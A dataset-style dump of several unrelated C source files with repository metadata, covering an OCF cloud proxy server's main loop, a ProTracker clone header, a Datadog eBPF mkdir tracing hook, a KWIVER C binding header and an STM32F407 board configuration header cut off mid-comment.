OC_PRINTF(" oc_ownership_status_cb: UUID: '%s'\n", uuid);
}
#endif /* OC_SECURITY */
static void
display_device_uuid(void)
{
char buffer[OC_UUID_LEN];
oc_uuid_to_str(oc_core_get_device_id(0), buffer, sizeof(buffer));
OC_PRINTF("Started device with ID: %s\n", buffer);
}
static bool
init(void)
{
#ifdef WIN32
/* windows specific */
InitializeCriticalSection(&cs);
InitializeConditionVariable(&cv);
/* install Ctrl-C */
signal(SIGINT, handle_signal);
#endif /* WIN32 */
#ifdef __linux__
/* linux specific */
struct sigaction sa;
sigfillset(&sa.sa_mask);
sa.sa_flags = 0;
sa.sa_handler = handle_signal;
/* install Ctrl-C */
sigaction(SIGINT, &sa, NULL);
int err = pthread_mutex_init(&mutex, NULL);
if (err != 0) {
OC_PRINTF("pthread_mutex_init failed (error=%d)!\n", err);
return false;
}
pthread_condattr_t attr;
err = pthread_condattr_init(&attr);
if (err != 0) {
OC_PRINTF("pthread_condattr_init failed (error=%d)!\n", err);
pthread_mutex_destroy(&mutex);
return false;
}
err = pthread_condattr_setclock(&attr, CLOCK_MONOTONIC);
if (err != 0) {
OC_PRINTF("pthread_condattr_setclock failed (error=%d)!\n", err);
pthread_condattr_destroy(&attr);
pthread_mutex_destroy(&mutex);
return false;
}
err = pthread_cond_init(&cv, &attr);
if (err != 0) {
OC_PRINTF("pthread_cond_init failed (error=%d)!\n", err);
pthread_condattr_destroy(&attr);
pthread_mutex_destroy(&mutex);
return false;
}
pthread_condattr_destroy(&attr);
#endif /* __linux__ */
return true;
}
static void
deinit(void)
{
#ifdef __linux__
pthread_cond_destroy(&cv);
pthread_mutex_destroy(&mutex);
#endif /* __linux__ */
}
static void
run_loop(void)
{
#ifdef WIN32
/* windows specific loop */
while (quit != 1) {
oc_clock_time_t next_event_mt = oc_main_poll_v1();
if (next_event_mt == 0) {
SleepConditionVariableCS(&cv, &cs, INFINITE);
} else {
oc_clock_time_t now_mt = oc_clock_time_monotonic();
if (now_mt < next_event_mt) {
SleepConditionVariableCS(
&cv, &cs, (DWORD)((next_event_mt - now_mt) * 1000 / OC_CLOCK_SECOND));
}
}
}
#endif /* WIN32 */
#ifdef __linux__
/* linux specific loop */
while (quit != 1) {
oc_clock_time_t next_event_mt = oc_main_poll_v1();
pthread_mutex_lock(&mutex);
if (next_event_mt == 0) {
pthread_cond_wait(&cv, &mutex);
} else {
struct timespec next_event = { 1, 0 };
oc_clock_time_t next_event_cv;
if (oc_clock_monotonic_time_to_posix(next_event_mt, CLOCK_MONOTONIC,
&next_event_cv)) {
next_event = oc_clock_time_to_timespec(next_event_cv);
}
pthread_cond_timedwait(&cv, &mutex, &next_event);
}
pthread_mutex_unlock(&mutex);
}
#endif /* __linux__ */
}
/**
* main application.
* intializes the global variables
* registers and starts the handler
* handles (in a loop) the next event.
* shuts down the stack
*
* @param argc the amount of arguments
* @param argv the arguments
*/
int
main(int argc, char *argv[])
{
if (!init()) {
return -1;
}
memset(&g_d2dserverlist_d2dserverlist, 0,
sizeof(g_d2dserverlist_d2dserverlist));
if (argc > 1) {
device_name = argv[1];
OC_PRINTF("device_name: %s\n", argv[1]);
}
if (argc > 2) {
auth_code = argv[2];
OC_PRINTF("auth_code: %s\n", argv[2]);
}
if (argc > 3) {
cis = argv[3];
OC_PRINTF("cis : %s\n", argv[3]);
}
if (argc > 4) {
sid = argv[4];
OC_PRINTF("sid: %s\n", argv[4]);
}
if (argc > 5) {
apn = argv[5];
OC_PRINTF("apn: %s\n", argv[5]);
}
char buff[FILENAME_MAX];
char *retbuf = NULL;
retbuf = GetCurrentDir(buff, FILENAME_MAX);
if (retbuf != NULL) {
OC_PRINTF("Current working dir: %s\n", buff);
}
OC_PRINTF("OCF Server name : \"%s\"\n", device_name);
/*
The storage folder depends on the build system
for Windows the projects simpleserver and cloud_server are overwritten, hence
the folders should be the same as those targets. for Linux (as default) the
folder is created in the makefile, with $target as name with _cred as post
fix.
*/
#ifdef OC_SECURITY
OC_PRINTF("Intialize Secure Resources\n");
#ifdef OC_CLOUD
OC_PRINTF("\tstorage at './cloud_proxy_creds' \n");
oc_storage_config("./cloud_proxy_creds");
#endif
/*intialize the variables */
initialize_variables();
#endif /* OC_SECURITY */
/* initializes the handlers structure */
static const oc_handler_t handler = {
.init = app_init,
.signal_event_loop = signal_event_loop,
.register_resources = register_resources,
#ifdef OC_CLIENT
#ifdef PROXY_ALL_DISCOVERED_DEVICES
.requests_entry = issue_requests_all,
#else
.requests_entry = NULL,
#endif
#endif
};
#ifdef OC_SECURITY
#ifdef OC_SECURITY_PIN
/* please enable OC_SECURITY_PIN
- have display capabilities to display the PIN value
- server require to implement RANDOM PIN (oic.sec.doxm.rdp) onboarding
mechanism
*/
oc_set_random_pin_callback(random_pin_cb, NULL);
#endif /* OC_SECURITY_PIN */
#endif /* OC_SECURITY */
oc_set_factory_presets_cb(minimal_factory_presets_cb, NULL);
// oc_set_factory_presets_cb(factory_presets_cb, NULL);
/* start the stack */
int ret = oc_main_init(&handler);
if (ret < 0) {
OC_PRINTF("oc_main_init failed %d, exiting.\n", ret);
deinit();
return ret;
}
#ifdef OC_CLOUD
/* get the cloud context and start the cloud */
oc_cloud_context_t *ctx = oc_cloud_get_context(0);
if (ctx) {
int retval;
OC_PRINTF("Start Cloud Manager\n");
retval = oc_cloud_manager_start(ctx, cloud_status_handler, NULL);
OC_PRINTF(" manager status %d\n", retval);
if (cis) {
if (argc == 6) {
int retval;
/* configure the */
retval =
oc_cloud_provision_conf_resource(ctx, cis, auth_code, sid, apn);
OC_PRINTF(" config status %d\n", retval);
OC_PRINTF("Conf Cloud Manager\n");
OC_PRINTF(" cis %s\n", cis);
OC_PRINTF(" auth_code %s\n", auth_code);
OC_PRINTF(" sid %s\n", sid);
OC_PRINTF(" apn %s\n", apn);
} else {
OC_PRINTF("Conf Cloud Manager: waiting to be provisioned by an OBT\n");
}
}
}
#endif
oc_uuid_to_str(oc_core_get_device_id(0), proxy_di, OC_UUID_LEN);
OC_PRINTF(" UUID: '%s'\n", proxy_di);
display_device_uuid();
#ifdef OC_SECURITY
oc_add_ownership_status_cb(oc_ownership_status_cb, NULL);
#endif /* OC_SECURITY */
#ifdef RESET
// reset the device, for easier debugging.
OC_PRINTF(" RESET DEVICE\n");
oc_reset();
#endif
OC_PRINTF("OCF server \"%s\" running, waiting on incoming connections.\n",
device_name);
run_loop();
/* shut down the stack */
#ifdef OC_CLOUD
OC_PRINTF("Stop Cloud Manager\n");
oc_cloud_manager_stop(ctx);
#endif
oc_main_shutdown();
deinit();
return 0;
}
#endif /* NO_MAIN */
|
9aaca4bd6af94c762b9f38442cd1fb04f5efba25
|
8e7034a79519ec05d0fb8c6d474b59509a39835f
|
/src/pt2_mod2wav.h
|
b421b08b812c6df84949cf6d488e129bfbd84eec
|
[
"BSD-3-Clause"
] |
permissive
|
8bitbubsy/pt2-clone
|
f390494cf60f49e428c56ed3496201f457477b5f
|
9593a88d48b93006533d054c89b04a79e9d56014
|
refs/heads/master
| 2023-08-29T06:58:24.551643
| 2023-08-16T10:02:32
| 2023-08-16T10:02:32
| 225,353,154
| 350
| 34
|
BSD-3-Clause
| 2023-01-01T11:27:27
| 2019-12-02T11:00:24
|
C
|
UTF-8
|
C
| false
| false
| 505
|
h
|
pt2_mod2wav.h
|
#pragma once
#include <stdbool.h>
#define MOD2WAV_CANCEL_BTN_X1 193
#define MOD2WAV_CANCEL_BTN_X2 247
#define MOD2WAV_CANCEL_BTN_Y1 81
#define MOD2WAV_CANCEL_BTN_Y2 92
void mod2WavDrawFadeoutToggle(void);
void mod2WavDrawFadeoutSeconds(void);
void mod2WavDrawLoopCount(void);
void toggleMod2WavFadeout(void);
void mod2WavFadeoutUp(void);
void mod2WavFadeoutDown(void);
void mod2WavLoopCountUp(void);
void mod2WavLoopCountDown(void);
void updateMod2WavDialog(void);
bool mod2WavRender(char *filename);
|
ada24e10ee0ddbd63dc10af6e739be3f48f13f34
|
4692f28f86ee84a76abfac8cc8a0dd41fcd402e4
|
/pkg/security/ebpf/c/include/hooks/mkdir.h
|
80ba91bf556a807b7ffad1e2344b96adb13f6df9
|
[
"CC0-1.0",
"BSD-3-Clause",
"Apache-2.0",
"GPL-1.0-or-later",
"MIT",
"0BSD",
"Unlicense",
"LicenseRef-scancode-public-domain",
"BSD-2-Clause",
"BSD-2-Clause-Views",
"MPL-2.0",
"GPL-2.0-only"
] |
permissive
|
DataDog/datadog-agent
|
cc4b89839d6031903bf23aa12eccc2a3f3c7f213
|
d960cdb7de8fa5d1c7138cfe58e754af80cb796a
|
refs/heads/main
| 2023-09-04T10:45:08.138748
| 2023-09-04T09:13:43
| 2023-09-04T09:13:43
| 49,970,739
| 2,388
| 1,288
|
Apache-2.0
| 2023-09-14T20:06:34
| 2016-01-19T17:40:41
|
Go
|
UTF-8
|
C
| false
| false
| 4,908
|
h
|
mkdir.h
|
#ifndef _HOOKS_MKDIR_H_
#define _HOOKS_MKDIR_H_
#include "constants/syscall_macro.h"
#include "helpers/approvers.h"
#include "helpers/discarders.h"
#include "helpers/filesystem.h"
#include "helpers/syscalls.h"
long __attribute__((always_inline)) trace__sys_mkdir(u8 async, umode_t mode) {
struct policy_t policy = fetch_policy(EVENT_MKDIR);
if (is_discarded_by_process(policy.mode, EVENT_MKDIR)) {
return 0;
}
struct syscall_cache_t syscall = {
.type = EVENT_MKDIR,
.policy = policy,
.async = async,
.mkdir = {
.mode = mode
}
};
cache_syscall(&syscall);
return 0;
}
HOOK_SYSCALL_ENTRY2(mkdir, const char*, filename, umode_t, mode)
{
return trace__sys_mkdir(SYNC_SYSCALL, mode);
}
HOOK_SYSCALL_ENTRY3(mkdirat, int, dirfd, const char*, filename, umode_t, mode)
{
return trace__sys_mkdir(SYNC_SYSCALL, mode);
}
HOOK_ENTRY("vfs_mkdir")
int hook_vfs_mkdir(ctx_t *ctx) {
struct syscall_cache_t *syscall = peek_syscall(EVENT_MKDIR);
if (!syscall) {
return 0;
}
if (syscall->mkdir.dentry) {
return 0;
}
syscall->mkdir.dentry = (struct dentry *) CTX_PARM2(ctx);
// change the register based on the value of vfs_mkdir_dentry_position
if (get_vfs_mkdir_dentry_position() == VFS_ARG_POSITION3) {
// prevent the verifier from whining
bpf_probe_read(&syscall->mkdir.dentry, sizeof(syscall->mkdir.dentry), &syscall->mkdir.dentry);
syscall->mkdir.dentry = (struct dentry *) CTX_PARM3(ctx);
}
syscall->mkdir.file.path_key.mount_id = get_path_mount_id(syscall->mkdir.path);
if (filter_syscall(syscall, mkdir_approvers)) {
return discard_syscall(syscall);
}
return 0;
}
int __attribute__((always_inline)) sys_mkdir_ret(void *ctx, int retval, int dr_type) {
struct syscall_cache_t *syscall = peek_syscall(EVENT_MKDIR);
if (!syscall) {
return 0;
}
if (IS_UNHANDLED_ERROR(retval)) {
discard_syscall(syscall);
return 0;
}
// the inode of the dentry was not properly set when kprobe/security_path_mkdir was called, make sure we grab it now
set_file_inode(syscall->mkdir.dentry, &syscall->mkdir.file, 0);
syscall->resolver.key = syscall->mkdir.file.path_key;
syscall->resolver.dentry = syscall->mkdir.dentry;
syscall->resolver.discarder_type = syscall->policy.mode != NO_FILTER ? EVENT_MKDIR : 0;
syscall->resolver.callback = select_dr_key(dr_type, DR_MKDIR_CALLBACK_KPROBE_KEY, DR_MKDIR_CALLBACK_TRACEPOINT_KEY);
syscall->resolver.iteration = 0;
syscall->resolver.ret = 0;
syscall->resolver.sysretval = retval;
resolve_dentry(ctx, dr_type);
// if the tail call fails, we need to pop the syscall cache entry
pop_syscall(EVENT_MKDIR);
return 0;
}
HOOK_ENTRY("do_mkdirat")
int hook_do_mkdirat(ctx_t *ctx) {
struct syscall_cache_t *syscall = peek_syscall(EVENT_MKDIR);
if (!syscall) {
umode_t mode = (umode_t)CTX_PARM3(ctx);
return trace__sys_mkdir(ASYNC_SYSCALL, mode);
}
return 0;
}
HOOK_EXIT("do_mkdirat")
int rethook_do_mkdirat(ctx_t *ctx) {
int retval = CTX_PARMRET(ctx, 3);
return sys_mkdir_ret(ctx, retval, DR_KPROBE_OR_FENTRY);
}
HOOK_SYSCALL_EXIT(mkdir) {
int retval = SYSCALL_PARMRET(ctx);
return sys_mkdir_ret(ctx, retval, DR_KPROBE_OR_FENTRY);
}
HOOK_SYSCALL_EXIT(mkdirat) {
int retval = SYSCALL_PARMRET(ctx);
return sys_mkdir_ret(ctx, retval, DR_KPROBE_OR_FENTRY);
}
SEC("tracepoint/handle_sys_mkdir_exit")
int tracepoint_handle_sys_mkdir_exit(struct tracepoint_raw_syscalls_sys_exit_t *args) {
return sys_mkdir_ret(args, args->ret, DR_TRACEPOINT);
}
int __attribute__((always_inline)) dr_mkdir_callback(void *ctx) {
struct syscall_cache_t *syscall = pop_syscall(EVENT_MKDIR);
if (!syscall) {
return 0;
}
s64 retval = syscall->resolver.sysretval;
if (IS_UNHANDLED_ERROR(retval)) {
return 0;
}
if (syscall->resolver.ret == DENTRY_DISCARDED) {
monitor_discarded(EVENT_MKDIR);
return 0;
}
struct mkdir_event_t event = {
.syscall.retval = retval,
.event.flags = syscall->async ? EVENT_FLAGS_ASYNC : 0,
.file = syscall->mkdir.file,
.mode = syscall->mkdir.mode,
};
fill_file_metadata(syscall->mkdir.dentry, &event.file.metadata);
struct proc_cache_t *entry = fill_process_context(&event.process);
fill_container_context(entry, &event.container);
fill_span_context(&event.span);
send_event(ctx, EVENT_MKDIR, event);
return 0;
}
TAIL_CALL_TARGET("dr_mkdir_callback")
int tail_call_target_dr_mkdir_callback(ctx_t *ctx) {
return dr_mkdir_callback(ctx);
}
SEC("tracepoint/dr_mkdir_callback")
int tracepoint_dr_mkdir_callback(struct tracepoint_syscalls_sys_exit_t *args) {
return dr_mkdir_callback(args);
}
#endif
|
8b5b5ff0ad8a833e61a10e2e7fc8052a182c53de
|
e3a97b316fdf07b170341da206163a865f9e812c
|
/vital/bindings/c/algo_def/estimate_canonical_transform.h
|
64fdf601f73c420e7decac7c0a6704a8d55e4a2e
|
[
"BSD-3-Clause"
] |
permissive
|
Kitware/kwiver
|
09133ede9d05c33212839cc29d396aa8ca21baaf
|
a422409b83f78f31cda486e448e8009513e75427
|
refs/heads/master
| 2023-08-28T10:41:58.077148
| 2023-07-28T21:18:52
| 2023-07-28T21:18:52
| 23,229,909
| 191
| 92
|
NOASSERTION
| 2023-06-26T17:18:20
| 2014-08-22T15:22:20
|
C++
|
UTF-8
|
C
| false
| false
| 1,724
|
h
|
estimate_canonical_transform.h
|
// This file is part of KWIVER, and is distributed under the
// OSI-approved BSD 3-Clause License. See top-level LICENSE file or
// https://github.com/Kitware/kwiver/blob/master/LICENSE for details.
/**
* \file
* \brief File description here.
*/
#ifndef VITAL_C_ALGO_ESTIMATE_CANONICAL_TRANSFORM_H_
#define VITAL_C_ALGO_ESTIMATE_CANONICAL_TRANSFORM_H_
#ifdef __cplusplus
extern "C"
{
#endif
#include <vital/bindings/c/algorithm.h>
#include <vital/bindings/c/error_handle.h>
#include <vital/bindings/c/types/camera_map.h>
#include <vital/bindings/c/types/landmark_map.h>
#include <vital/bindings/c/types/similarity.h>
#include <vital/bindings/c/vital_c_export.h>
DECLARE_COMMON_ALGO_API( estimate_canonical_transform )
/// Estimate a canonical similarity transform for cameras and points
/**
*
*
* \note This algorithm does not apply the transformation, it only estimates it.
*
* This function can fail when the is insufficient or degenerate, setting an
* error code of 1.
*
* \param algo Algorithm instance
* \param cam_map The camera map containing all the cameras
* \param lm_map The landmark map containing all the 3D landmarks
* \returns New estimated similarity transformation mapping the data to the
* canonical space.
*/
VITAL_C_EXPORT
vital_similarity_d_t*
vital_algorithm_estimate_canonical_transform_estimate( vital_algorithm_t *algo,
vital_camera_map_t const *cam_map,
vital_landmark_map_t const *lm_map,
vital_error_handle_t *eh );
#ifdef __cplusplus
}
#endif
#endif //VITAL_C_ALGO_ESTIMATE_CANONICAL_TRANSFORM_H_
|
57b373685fb85e6fba07e387d6c4de3fd9dbda5a
|
0744dcc5394cebf57ebcba343747af6871b67017
|
/os/board/stm32f407-disc1/src/stm32f407-disc1.h
|
fef03b750bfc3ba89cf41cb2a6725609848758e1
|
[
"Apache-2.0",
"GPL-1.0-or-later",
"BSD-3-Clause",
"ISC",
"MIT",
"LicenseRef-scancode-warranty-disclaimer",
"LicenseRef-scancode-other-permissive"
] |
permissive
|
Samsung/TizenRT
|
96abf62f1853f61fcf91ff14671a5e0c6ca48fdb
|
1a5c2e00a4b1bbf4c505bbf5cc6a8259e926f686
|
refs/heads/master
| 2023-08-31T08:59:33.327998
| 2023-08-08T06:09:20
| 2023-08-31T04:38:20
| 82,517,252
| 590
| 719
|
Apache-2.0
| 2023-09-14T06:54:49
| 2017-02-20T04:38:30
|
C
|
UTF-8
|
C
| false
| false
| 16,684
|
h
|
stm32f407-disc1.h
|
/****************************************************************************
*
* Copyright 2018 Samsung Electronics All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
* either express or implied. See the License for the specific
* language governing permissions and limitations under the License.
*
****************************************************************************/
/****************************************************************************
* os/board/stm32f407-disc1/src/stm32f407-disc1.h
*
* Copyright (C) 2011-2012 Gregory Nutt. All rights reserved.
* Author: Gregory Nutt <gnutt@nuttx.org>
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* 3. Neither the name NuttX nor the names of its contributors may be
* used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
****************************************************************************/
#ifndef __ARCH_ARM_SRC_STM32F407_DISC1_SRC_STM32F407DISC1_H
#define __ARCH_ARM_SRC_STM32F407_DISC1_SRC_STM32F407DISC1_H
/****************************************************************************
* Included Files
****************************************************************************/
#include <tinyara/config.h>
#include <tinyara/compiler.h>
#include <stdint.h>
#include <arch/board/board.h>
/****************************************************************************
* Pre-processor Definitions
****************************************************************************/
/* Configuration *************************************************************/
/* How many SPI modules does this chip support? */
#if STM32_NSPI < 1
#undef CONFIG_STM32_SPI1
#undef CONFIG_STM32_SPI2
#undef CONFIG_STM32_SPI3
#elif STM32_NSPI < 2
#undef CONFIG_STM32_SPI2
#undef CONFIG_STM32_SPI3
#elif STM32_NSPI < 3
#undef CONFIG_STM32_SPI3
#endif
/* Assume that we have everything */
#define HAVE_USBDEV 1
#define HAVE_USBHOST 1
#define HAVE_USBMONITOR 1
#define HAVE_SDIO 1
/* Can't support USB host or device features if USB OTG FS is not enabled */
#ifndef CONFIG_STM32_OTGFS
#undef HAVE_USBDEV
#undef HAVE_USBHOST
#undef HAVE_USBMONITOR
#endif
/* Can't support USB device monitor if USB device is not enabled */
#ifndef CONFIG_USBDEV
#undef HAVE_USBDEV
#undef HAVE_USBMONITOR
#endif
/* Can't support USB host is USB host is not enabled */
#ifndef CONFIG_USBHOST
#undef HAVE_USBHOST
#endif
/* Check if we should enable the USB monitor before starting TASH */
#if !defined(CONFIG_USBDEV_TRACE) || !defined(CONFIG_SYSTEM_USBMONITOR)
#undef HAVE_USBMONITOR
#endif
/* Can't support MMC/SD features if mountpoints are disabled or if SDIO support
* is not enabled.
*/
#if defined(CONFIG_DISABLE_MOUNTPOINT) || !defined(CONFIG_STM32_SDIO)
#undef HAVE_SDIO
#endif
#undef SDIO_MINOR /* Any minor number, default 0 */
#define SDIO_SLOTNO 0 /* Only one slot */
#ifdef HAVE_SDIO
#if defined(CONFIG_TASH_MMCSDSLOTNO) && CONFIG_TASH_MMCSDSLOTNO != 0
#warning "Only one MMC/SD slot, slot 0"
#undef CONFIG_TASH_MMCSDSLOTNO
#define CONFIG_TASH_MMCSDSLOTNO SDIO_SLOTNO
#endif
#if defined(CONFIG_TASH_MMCSDMINOR)
#define SDIO_MINOR CONFIG_TASH_MMCSDMINOR
#else
#define SDIO_MINOR 0
#endif
/* SD card bringup does not work if performed on the IDLE thread because it
* will cause waiting. Use either:
*
* CONFIG_TASH_ARCHINIT=y, OR
* CONFIG_BOARD_INITIALIZE=y && CONFIG_BOARD_INITTHREAD=y
*/
#if defined(CONFIG_BOARD_INITIALIZE) && !defined(CONFIG_BOARD_INITTHREAD)
#warning "SDIO initialization cannot be perfomed on the IDLE thread"
#undef HAVE_SDIO
#endif
#endif
/* STM32F4 Discovery GPIOs **************************************************/
/* LEDs */
#define GPIO_LED1 (GPIO_OUTPUT | GPIO_PUSHPULL | GPIO_SPEED_50MHz | \
GPIO_OUTPUT_CLEAR | GPIO_PORTD | GPIO_PIN12)
#define GPIO_LED2 (GPIO_OUTPUT | GPIO_PUSHPULL | GPIO_SPEED_50MHz | \
GPIO_OUTPUT_CLEAR | GPIO_PORTD | GPIO_PIN13)
#define GPIO_LED3 (GPIO_OUTPUT | GPIO_PUSHPULL | GPIO_SPEED_50MHz | \
GPIO_OUTPUT_CLEAR | GPIO_PORTD | GPIO_PIN14)
#define GPIO_LED4 (GPIO_OUTPUT | GPIO_PUSHPULL | GPIO_SPEED_50MHz | \
GPIO_OUTPUT_CLEAR | GPIO_PORTD | GPIO_PIN15)
/* BUTTONS -- NOTE that all have EXTI interrupts configured */
#define MIN_IRQBUTTON BUTTON_USER
#define MAX_IRQBUTTON BUTTON_USER
#define NUM_IRQBUTTONS 1
#define GPIO_BTN_USER (GPIO_INPUT | GPIO_FLOAT | GPIO_EXTI | GPIO_PORTA | GPIO_PIN0)
/* PWM
*
* The STM32F4 Discovery has no real on-board PWM devices, but the board can be
* configured to output a pulse train using TIM4 CH2 on PD13.
*/
#define STM32F4DISCOVERY_PWMTIMER 4
#define STM32F4DISCOVERY_PWMCHANNEL 2
/* SPI chip selects */
#define GPIO_CS_MEMS (GPIO_OUTPUT | GPIO_PUSHPULL | GPIO_SPEED_50MHz | \
GPIO_OUTPUT_SET | GPIO_PORTE | GPIO_PIN3)
/* USB OTG FS
*
* PA9 OTG_FS_VBUS VBUS sensing (also connected to the green LED)
* PC0 OTG_FS_PowerSwitchOn
* PD5 OTG_FS_Overcurrent
*/
#define GPIO_OTGFS_VBUS (GPIO_INPUT | GPIO_FLOAT | GPIO_SPEED_100MHz | \
GPIO_OPENDRAIN | GPIO_PORTA | GPIO_PIN9)
#define GPIO_OTGFS_PWRON (GPIO_OUTPUT | GPIO_FLOAT | GPIO_SPEED_100MHz | \
GPIO_PUSHPULL | GPIO_PORTC | GPIO_PIN0)
#ifdef CONFIG_USBHOST
#define GPIO_OTGFS_OVER (GPIO_INPUT | GPIO_EXTI | GPIO_FLOAT | \
GPIO_SPEED_100MHz | GPIO_PUSHPULL | \
GPIO_PORTD | GPIO_PIN5)
#else
#define GPIO_OTGFS_OVER (GPIO_INPUT | GPIO_FLOAT | GPIO_SPEED_100MHz | \
GPIO_PUSHPULL | GPIO_PORTD | GPIO_PIN5)
#endif
/* UG-2864AMBAG01 or UG-2864HSWEG01 OLED Display (SPI 4-wire):
*
* --------------------------+----------------------------------------------
* Connector CON10 J1: | STM32F4Discovery
* --------------+-----------+----------------------------------------------
* CON10 J1: | CON20 J2: | P1/P2:
* --------------+-----------+----------------------------------------------
* 1 3v3 | 3,4 3v3 | P2 3V
* 3 /RESET | 8 /RESET | P2 PB6 (Arbitrary selection)
* 5 /CS | 7 /CS | P2 PB7 (Arbitrary selection)
* 7 A0|D/C | 9 A0|D/C | P2 PB8 (Arbitrary selection)
* 9 LED+ (N/C) | ----- | -----
* 2 5V Vcc | 1,2 Vcc | P2 5V
* 4 DI | 18 D1/SI | P1 PA7 (GPIO_SPI1_MOSI == GPIO_SPI1_MOSI_1 (1))
* 6 SCLK | 19 D0/SCL | P1 PA5 (GPIO_SPI1_SCK == GPIO_SPI1_SCK_1 (1))
* 8 LED- (N/C) | ----- | ------
* 10 GND | 20 GND | P2 GND
* --------------+-----------+----------------------------------------------
* (1) Required because of on-board MEMS
* -------------------------------------------------------------------------
*/
#if defined(CONFIG_LCD_UG2864AMBAG01) || defined(CONFIG_LCD_UG2864HSWEG01)
#define GPIO_OLED_RESET (GPIO_OUTPUT | GPIO_PUSHPULL | GPIO_SPEED_50MHz | \
GPIO_OUTPUT_CLEAR | GPIO_PORTB | GPIO_PIN6)
#define GPIO_OLED_CS (GPIO_OUTPUT | GPIO_PUSHPULL | GPIO_SPEED_50MHz | \
GPIO_OUTPUT_SET | GPIO_PORTB | GPIO_PIN7)
#define GPIO_OLED_A0 (GPIO_OUTPUT | GPIO_PUSHPULL | GPIO_SPEED_50MHz | \
GPIO_OUTPUT_CLEAR | GPIO_PORTB | GPIO_PIN8)
#define GPIO_OLED_DC GPIO_OLED_A0
#endif
/* STM32F4DIS-BB MicroSD
*
* ---------- ------------- ------------------------------
* PIO SIGNAL Comments
* ---------- ------------- ------------------------------
* PB15 NCD Pulled up externally
* PC9 DAT1 Configured by driver
* PC8 DAT0 " " "" " "
* PC12 CLK " " "" " "
* PD2 CMD " " "" " "
* PC11 CD/DAT3 " " "" " "
* PC10 DAT2 " " "" " "
* ---------- ------------- ------------------------------
*/
#if defined(CONFIG_STM32F4DISBB) && defined(CONFIG_STM32_SDIO)
#define GPIO_SDIO_NCD (GPIO_INPUT | GPIO_FLOAT | GPIO_EXTI | \
GPIO_PORTB | GPIO_PIN15)
#endif
/* ENC28J60
*
* --- ------ -------------- -------------------------------------------------------------------
* PIN NAME SIGNAL NOTES
* --- ------ -------------- -------------------------------------------------------------------
*
* 29 PA4 (no name) 10Mbit ENC28J60 Chip Selcet, SPI 2M FLASH
* 30 PA5 PA5-SPI1-SCK1 2.4" TFT + Touchscreen, 10Mbit ENC28J60, SPI 2M FLASH
* 31 PA6 PA6-SPI1-MISO1 2.4" TFT + Touchscreen, 10Mbit ENC28J60, SPI 2M FLASH
* 32 PA7 PA7-SPI1-MOSI1 2.4" TFT + Touchscreen, 10Mbit ENC28J60, SPI 2M FLASH
* 98 PE1 PE1-FSMC_NBL1 2.4" TFT + Touchscreen, 10Mbit EN28J60 Reset - not configured
* PA15 (no name) 10Mbps ENC28J60 Interrupt
*/
/* CS and Reset are active low. Initial states are not selected and in
* reset. The ENC28J60 is taken out of reset when the driver is
* initialized (thedriver does a soft reset too).
*/
#ifdef CONFIG_ENC28J60
#define GPIO_ENC28J60_CS GPIO_SPI1_CS
/*#define GPIO_ENC28J60_RESET (GPIO_OUTPUT|GPIO_CNF_OUTPP|GPIO_MODE_50MHz|\
GPIO_OUTPUT_CLEAR|GPIO_PORTE|GPIO_PIN1)*/
#define GPIO_ENC28J60_INTR GPIO_SPI1_INT
#endif
/****************************************************************************
* Public Types
****************************************************************************/
/****************************************************************************
* Public data
****************************************************************************/
#ifndef __ASSEMBLY__
/****************************************************************************
* Public Functions
****************************************************************************/
/****************************************************************************
* Name: stm32_spiinitialize
*
* Description:
* Called to configure SPI chip select GPIO pins for the stm32f4discovery
* board.
*
****************************************************************************/
void weak_function stm32_spiinitialize(void);
/****************************************************************************
* Name: stm32_bringup
*
* Description:
* Perform architecture-specific initialization
*
* CONFIG_BOARD_INITIALIZE=y :
* Called from board_initialize().
*
* CONFIG_BOARD_INITIALIZE=y && CONFIG_TASH_ARCHINIT=y :
* Called from the TASH library
*
****************************************************************************/
int stm32_bringup(void);
/****************************************************************************
* Name: stm32_usbinitialize
*
* Description:
* Called from stm32_usbinitialize very early in initialization to setup
* USB-related GPIO pins for the STM32F4Discovery board.
*
****************************************************************************/
#ifdef CONFIG_STM32_OTGFS
void weak_function stm32_usbinitialize(void);
#endif
/****************************************************************************
* Name: stm32_usbhost_initialize
*
* Description:
* Called at application startup time to initialize the USB host
* functionality. This function will start a thread that will monitor for
* device connection/disconnection events.
*
****************************************************************************/
#if defined(CONFIG_STM32_OTGFS) && defined(CONFIG_USBHOST)
int stm32_usbhost_initialize(void);
#endif
/****************************************************************************
* Name: stm32_extmemgpios
*
* Description:
* Initialize GPIOs for external memory usage
*
****************************************************************************/
#ifdef CONFIG_STM32_FSMC
void stm32_extmemgpios(const uint32_t *gpios, int ngpios);
#endif
/****************************************************************************
* Name: stm32_extmemaddr
*
* Description:
* Initialize adress line GPIOs for external memory access
*
****************************************************************************/
#ifdef CONFIG_STM32_FSMC
void stm32_extmemaddr(int naddrs);
#endif
/****************************************************************************
* Name: stm32_extmemdata
*
* Description:
